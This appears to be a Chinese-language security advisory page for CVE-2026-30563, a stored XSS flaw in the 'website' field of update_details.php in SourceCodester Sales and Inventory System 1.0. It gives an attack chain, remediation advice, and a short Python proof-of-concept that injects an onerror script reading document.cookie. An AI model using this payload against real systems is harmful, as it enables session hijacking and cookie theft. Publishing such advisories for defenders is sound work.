IPBUF安全漏洞报告
English
CVE-2026-30563 CVSS 6.1 中危

CVE-2026-30563 SourceCodester销售库存系统存储型XSS漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-30563
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester Sales and Inventory System

相关标签

XSS存储型XSSSourceCodesterWeb安全CVE-2026-30563

漏洞概述

SourceCodester Sales and Inventory System 1.0版本中存在存储型跨站脚本(XSS)漏洞。该漏洞位于`update_details.php`文件,由于应用未对POST请求中的`website`参数进行有效过滤,导致经过认证的攻击者可注入恶意脚本。这些脚本被存储在数据库中,当用户访问商店详情页面时触发执行,进而窃取敏感信息。

技术细节

该漏洞源于应用程序在处理用户输入时缺乏安全编码实践。具体而言,`update_details.php`接口接收包含`website`参数的POST请求以更新商店详情。后端代码直接将该参数值存入数据库,未进行HTML实体编码或特殊字符转义。攻击者可构造包含JavaScript代码的Payload(如`<img src=x onerror=alert(1)>`)并通过该参数提交。由于漏洞类型为存储型XSS,恶意脚本持久化存储。当管理员或客户访问渲染该字段的页面时,浏览器将解析并执行脚本。虽然CVSS评分权限要求为无(PR:N),但实际利用通常需要具备更新权限的账户,利用成功可导致会话劫持或恶意操作。

攻击链分析

STEP 1
1. 侦察
攻击者识别出目标正在运行SourceCodester Sales and Inventory System 1.0,并定位到update_details.php接口。
STEP 2
2. 漏洞利用
攻击者向update_details.php发送特制的POST请求,在website参数中注入恶意JavaScript代码。
STEP 3
3. 持久化
应用程序由于缺乏过滤,将恶意代码直接存储在后端数据库中。
STEP 4
4. 触发执行
当管理员或普通用户访问显示商店详情的页面时,服务器从数据库读取恶意代码并渲染到HTML中。
STEP 5
5. 攻击生效
受害者的浏览器解析并执行恶意脚本,可能导致Cookie窃取、会话劫持或恶意重定向。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable endpoint target_url = "http://target.com/path/to/update_details.php" # Malicious payload to be stored and executed later # Using an img tag with onerror is a common bypass for simple filters xss_payload = '"><img src=x onerror=alert(document.cookie)>' # Data payload simulating the POST request data = { "website": xss_payload, "store_name": "PoC Store", "address": "123 Security St" } try: # Send the POST request to inject the payload response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Check the store details page to verify the XSS execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

影响范围

SourceCodester Sales and Inventory System 1.0

防御指南

临时缓解措施
建议立即升级至官方发布的最新版本以修复此漏洞。如果无法立即升级,应在服务器端对`update_details.php`接收的`website`参数实施严格的输入过滤(例如使用PHP的`htmlspecialchars()`函数进行转义),并验证输入是否符合URL格式。此外,管理员应审查数据库中已存储的商店详情数据,清除可能已被注入的恶意脚本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表